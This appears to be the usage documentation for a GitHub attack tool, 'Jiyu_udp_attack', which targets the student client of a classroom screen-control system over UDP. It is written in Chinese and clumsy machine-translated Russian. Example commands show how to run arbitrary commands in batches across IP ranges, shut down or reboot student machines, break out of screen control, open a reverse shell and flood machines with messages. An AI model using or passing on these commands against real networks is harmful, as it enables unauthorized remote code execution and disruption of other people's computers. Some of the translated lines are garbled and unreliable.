v1.5
v1.4
v1.3
v1.2
v1.1
v1.0
usage:
------------------- Github Repositories -------------------
https://github.com/ht0Ruial/Jiyu_udp_attack
[-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
[-e {r,s,g,nc,break,continue}]
{r,s,g,nc,break,continue} ...
positional arguments:
{r,s,g,nc,break,continue}
-e 参数的详细说明
r reboot 重启
s shutdown 关机
g 独立选项,获取当前的ip地址以及学生端监听的端口
nc 独立选项,反弹shell的机器需出网,退出可使用命令exit
break 独立选项,脱离屏幕控制,需要管理员权限
continue 独立选项,恢复屏幕控制
optional arguments:
-h, --help show this help message and exit
-ip IP ip 指定目标IP地址
-p P port 指定监听端口,默认端口为4705
-msg MSG send_message发送消息 eg: -msg "HelloWord!"
-c C command命令 eg: -c "cmd.exe /c ipconfig"
-l L 循环次数,默认为1
-t T 循环时间间隔,默认是22秒
-e {r,s,g,nc,break,continue}
Extra Options加载额外的选项 eg:-e r
При использовании параметра -ip для указания целевого IP-адреса его можно указать следующими способами:
Если порт прослушивания на стороне ученика не является портом по умолчанию 4705 , вам необходимо использовать параметр -p , чтобы указать порт во время последующих операций.
python Jiyu_udp_attack.py -e g
Текущие разрешения на запуск должны быть разрешениями администратора, которые в основном используются для запуска службы MpsSvc.
python Jiyu_udp_attack.py -e break
python Jiyu_udp_attack.py -e continue
Если порт прослушивания на стороне ученика — 4705 , отправьте сообщение с содержанием «привет, детка!» на машину с IP-адресом 192.168.80.12.
python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"
Если порт прослушивания на стороне ученика — 4605 , вам необходимо использовать параметр -p , чтобы указать порт и отправить сообщение с содержимым «привет, детка!» на машину с IP-адресом 192.168.80.12.
python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"
Воспроизведите калькулятор для номеров с 192.168.80.12 по 192.168.80.137.
python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe
При перепривязке оболочки IP может быть только IP определенной машины и не может перепривязываться пакетно. Более того, машине необходимо выйти из сети, поскольку реализовано пакетное выполнение произвольных команд. Учитывая, что пакетная перепривязка бессмысленна. , он не добавляется.
python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc
Неисправность
python Jiyu_udp_attack.py -ip 192.168.80.12 -e s
Перезапуск
python Jiyu_udp_attack.py -ip 192.168.80.12 -e r
Постоянно отправлять сообщения, используя цикл
Машина 1-254 получит сообщение «Привет, детка!» и продолжит выполнение через 50 секунд, всего 3 раза.
python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50